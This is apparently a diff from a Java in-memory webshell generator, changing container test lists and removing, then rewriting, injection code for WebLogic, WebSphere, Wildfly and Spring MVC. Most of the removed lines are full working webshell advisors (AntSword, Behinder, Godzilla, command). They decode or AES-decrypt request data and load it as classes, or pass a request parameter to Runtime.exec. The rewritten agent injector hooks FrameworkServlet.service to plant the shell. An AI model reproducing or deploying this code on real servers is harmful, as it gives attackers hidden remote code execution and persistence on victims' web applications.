ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
Triple.of(ShellType.SERVLET, ShellTool.Behinder, Packers.Base64), // java.net.SocketTimeoutException
|
|
||||||
Triple.of(ShellType.FILTER, ShellTool.Behinder, Packers.Base64) // java.net.SocketTimeoutException
|
|
||||||
);
|
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class WebLogic12214ContainerTest {
|
|||||||
Server server = Server.WebLogic;
|
Server server = Server.WebLogic;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT,
|
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+2
-2
@@ -53,8 +53,7 @@ public class WebLogic14110ContainerTest {
|
|||||||
Server server = Server.WebLogic;
|
Server server = Server.WebLogic;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT,
|
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
@@ -63,6 +62,7 @@ public class WebLogic14110ContainerTest {
|
|||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
-2
@@ -56,8 +56,7 @@ public class WebSphere855ContainerTest {
|
|||||||
Server server = Server.WebSphere;
|
Server server = Server.WebSphere;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.WAS_AGENT_FILTER_MANAGER,
|
ShellType.WAS_AGENT_FILTER_MANAGER
|
||||||
ShellType.WAS_AGENT_FILTER_MANAGER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -56,8 +56,7 @@ public class WebSphere905ContainerTest {
|
|||||||
Server server = Server.WebSphere;
|
Server server = Server.WebSphere;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.WAS_AGENT_FILTER_MANAGER,
|
ShellType.WAS_AGENT_FILTER_MANAGER
|
||||||
ShellType.WAS_AGENT_FILTER_MANAGER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+2
-3
@@ -55,9 +55,8 @@ public class WebSphere700ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.WebSphere;
|
Server server = Server.WebSphere;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER
|
||||||
ShellType.WAS_AGENT_FILTER_MANAGER,
|
// ShellType.WAS_AGENT_FILTER_MANAGER // fuck the env, java.lang.instrument.UnmodifiableClassException
|
||||||
ShellType.WAS_AGENT_FILTER_MANAGER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Wildfly18ContainerTest {
|
|||||||
Server server = Server.Undertow;
|
Server server = Server.Undertow;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
|
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Wildfly23ContainerTest {
|
|||||||
Server server = Server.Undertow;
|
Server server = Server.Undertow;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
|
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+2
-2
@@ -53,8 +53,7 @@ public class Wildfly30ContainerTest {
|
|||||||
Server server = Server.Undertow;
|
Server server = Server.Undertow;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER,
|
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER,
|
||||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
|
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
@@ -65,6 +64,7 @@ public class Wildfly30ContainerTest {
|
|||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
-2
@@ -57,8 +57,7 @@ public class Wildfly9ContainerTest {
|
|||||||
Server server = Server.Undertow;
|
Server server = Server.Undertow;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
|
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
||||||
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
|
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
|
||||||
|
|||||||
-62
@@ -1,62 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.springwebmvc.antsword;
|
|
||||||
|
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
|
|
||||||
import java.lang.reflect.Field;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/02/18
|
|
||||||
*/
|
|
||||||
public class AntSwordServletAdvisor {
|
|
||||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
|
||||||
public static boolean enter(
|
|
||||||
@Advice.Argument(value = 0) Object request,
|
|
||||||
@Advice.Argument(value = 1) Object response,
|
|
||||||
@Advice.Origin Class<?> targetClazz
|
|
||||||
) {
|
|
||||||
String pass = "pass";
|
|
||||||
String headerName = "headerName";
|
|
||||||
String headerValue = "headerValue";
|
|
||||||
try {
|
|
||||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
|
||||||
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
|
||||||
unsafeField.setAccessible(true);
|
|
||||||
Object unsafe = unsafeField.get(null);
|
|
||||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
|
||||||
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
|
||||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
|
||||||
Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
|
||||||
getAndSetObjectM.invoke(unsafe, targetClazz, offset, module);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
|
||||||
if (value != null
|
|
||||||
&& value.contains(headerValue)) {
|
|
||||||
byte[] data = null;
|
|
||||||
Class<?> base64;
|
|
||||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
|
||||||
try {
|
|
||||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
|
||||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
|
||||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
|
||||||
} catch (Exception var6) {
|
|
||||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
|
||||||
Object decoder = base64.newInstance();
|
|
||||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
|
||||||
}
|
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
|
||||||
Object instance = payload.newInstance();
|
|
||||||
instance.equals(new Object[]{request, response});
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-96
@@ -1,96 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.springwebmvc.behinder;
|
|
||||||
|
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
|
|
||||||
import java.io.BufferedReader;
|
|
||||||
import java.lang.reflect.Field;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/1/18
|
|
||||||
*/
|
|
||||||
public class BehinderServletAdvisor {
|
|
||||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
|
||||||
public static boolean enter(
|
|
||||||
@Advice.Argument(value = 0) Object request,
|
|
||||||
@Advice.Argument(value = 1) Object res,
|
|
||||||
@Advice.Origin Class<?> targetClazz
|
|
||||||
) {
|
|
||||||
String pass = "pass";
|
|
||||||
String headerName = "headerName";
|
|
||||||
String headerValue = "headerValue";
|
|
||||||
try {
|
|
||||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
|
||||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
|
||||||
unsafeField.setAccessible(true);
|
|
||||||
Object unsafe = unsafeField.get(null);
|
|
||||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
|
||||||
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
|
||||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
|
||||||
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
|
||||||
getAndSetObjectM.invoke(unsafe, targetClazz, offset, module);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
|
||||||
if (value != null
|
|
||||||
&& value.contains(headerValue)) {
|
|
||||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
|
||||||
obj.put("request", request);
|
|
||||||
Object response = res;
|
|
||||||
Field field = null;
|
|
||||||
Class<?> clazz = obj.getClass();
|
|
||||||
while (clazz != Object.class) {
|
|
||||||
try {
|
|
||||||
field = clazz.getDeclaredField("response");
|
|
||||||
break;
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (field != null) {
|
|
||||||
field.setAccessible(true);
|
|
||||||
response = field.get(response);
|
|
||||||
}
|
|
||||||
obj.put("response", response);
|
|
||||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
|
||||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
|
||||||
obj.put("session", session);
|
|
||||||
byte[] data = null;
|
|
||||||
Class<?> base64;
|
|
||||||
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
|
||||||
String parameter = reader.readLine();
|
|
||||||
try {
|
|
||||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
|
||||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
|
||||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
|
||||||
} catch (Exception var6) {
|
|
||||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
|
||||||
Object decoder = base64.newInstance();
|
|
||||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
|
||||||
}
|
|
||||||
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
|
|
||||||
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
|
|
||||||
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
|
|
||||||
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
|
|
||||||
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(pass.getBytes(), "AES");
|
|
||||||
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
|
|
||||||
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
|
||||||
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
|
|
||||||
byte[] bytes = (byte[]) doFinalMethod.invoke(cipher, data);
|
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
|
|
||||||
Object instance = payload.newInstance();
|
|
||||||
instance.equals(obj);
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-36
@@ -1,36 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.springwebmvc.command;
|
|
||||||
|
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
|
|
||||||
import java.io.InputStream;
|
|
||||||
import java.io.OutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/1/18
|
|
||||||
*/
|
|
||||||
public class CommandServletAdvisor {
|
|
||||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
|
||||||
public static boolean enter(
|
|
||||||
@Advice.Argument(value = 0) Object request,
|
|
||||||
@Advice.Argument(value = 1) Object response
|
|
||||||
) {
|
|
||||||
String paramName = "paramName";
|
|
||||||
try {
|
|
||||||
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
|
||||||
if (cmd != null) {
|
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
|
||||||
InputStream inputStream = exec.getInputStream();
|
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
|
||||||
byte[] buf = new byte[8192];
|
|
||||||
int length;
|
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-104
@@ -1,104 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.springwebmvc.godzilla;
|
|
||||||
|
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.PrintWriter;
|
|
||||||
import java.lang.reflect.Field;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
*/
|
|
||||||
public class GodzillaServletAdvisor {
|
|
||||||
|
|
||||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
|
||||||
public static boolean enter(
|
|
||||||
@Advice.Argument(value = 0) Object request,
|
|
||||||
@Advice.Argument(value = 1) Object response,
|
|
||||||
@Advice.Origin Class<?> clazz
|
|
||||||
) {
|
|
||||||
String key = "key";
|
|
||||||
String pass = "pass";
|
|
||||||
String md5 = "md5";
|
|
||||||
String headerName = "headerName";
|
|
||||||
String headerValue = "headerValue";
|
|
||||||
try {
|
|
||||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
|
||||||
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
|
||||||
unsafeField.setAccessible(true);
|
|
||||||
Object unsafe = unsafeField.get(null);
|
|
||||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
|
||||||
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
|
||||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
|
||||||
Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
|
||||||
getAndSetObjectM.invoke(unsafe, clazz, offset, module);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
|
||||||
if (value != null
|
|
||||||
&& value.contains(headerValue)) {
|
|
||||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
|
||||||
byte[] data = null;
|
|
||||||
Class<?> base64;
|
|
||||||
try {
|
|
||||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
|
||||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
|
||||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
|
||||||
} catch (Exception var6) {
|
|
||||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
|
||||||
Object decoder = base64.newInstance();
|
|
||||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
|
||||||
}
|
|
||||||
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
|
|
||||||
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
|
|
||||||
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
|
|
||||||
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
|
|
||||||
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
|
||||||
|
|
||||||
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
|
|
||||||
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(key.getBytes(), "AES");
|
|
||||||
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
|
|
||||||
|
|
||||||
data = (byte[]) doFinalMethod.invoke(cipher, data);
|
|
||||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
|
||||||
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
|
||||||
if (sessionPayload == null) {
|
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
|
||||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
|
|
||||||
} else {
|
|
||||||
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
|
||||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
|
||||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
|
||||||
f.equals(arrOut);
|
|
||||||
f.equals(request);
|
|
||||||
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
|
||||||
writer.write(md5.substring(0, 16));
|
|
||||||
f.toString();
|
|
||||||
|
|
||||||
cipherInitMethod.invoke(cipher, 1, secretKeySpec);
|
|
||||||
byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher, arrOut.toByteArray());
|
|
||||||
String result = null;
|
|
||||||
try {
|
|
||||||
base64 = Class.forName("java.util.Base64");
|
|
||||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
|
||||||
result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
|
|
||||||
} catch (Exception var6) {
|
|
||||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
|
||||||
Object encoder = base64.newInstance();
|
|
||||||
result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
|
|
||||||
}
|
|
||||||
writer.write(result);
|
|
||||||
writer.write(md5.substring(16));
|
|
||||||
}
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+179
-41
@@ -1,39 +1,24 @@
|
|||||||
package com.reajason.javaweb.memshell.springwebmvc.injector;
|
package com.reajason.javaweb.memshell.springwebmvc.injector;
|
||||||
|
|
||||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
import org.objectweb.asm.*;
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
import net.bytebuddy.utility.JavaModule;
|
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
import java.lang.instrument.Instrumentation;
|
import java.lang.instrument.Instrumentation;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/28
|
* @since 2025/3/26
|
||||||
*/
|
*/
|
||||||
public class SpringWebMvcFrameworkServletAgentInjector implements AgentBuilder.Transformer {
|
public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet";
|
||||||
|
private static final String TARGET_METHOD_NAME = "service";
|
||||||
|
|
||||||
static Class<?> interceptorClass = null;
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
static {
|
|
||||||
try {
|
|
||||||
interceptorClass = Class.forName(getClassName());
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
|
||||||
TypeDescription typeDescription,
|
|
||||||
ClassLoader classLoader, JavaModule module,
|
|
||||||
ProtectionDomain protectionDomain) {
|
|
||||||
return builder.visit(Advice.to(interceptorClass).on(named("service")));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
@@ -44,21 +29,174 @@ public class SpringWebMvcFrameworkServletAgentInjector implements AgentBuilder.T
|
|||||||
launch(inst);
|
launch(inst);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
System.out.println("MemShell Agent is starting");
|
System.out.println("MemShell Agent is starting");
|
||||||
new AgentBuilder.Default()
|
inst.addTransformer(new SpringWebMvcFrameworkServletAgentInjector(), true);
|
||||||
.ignore(ElementMatchers.none())
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
.disableClassFormatChanges()
|
String name = allLoadedClass.getName();
|
||||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
inst.retransformClasses(allLoadedClass);
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
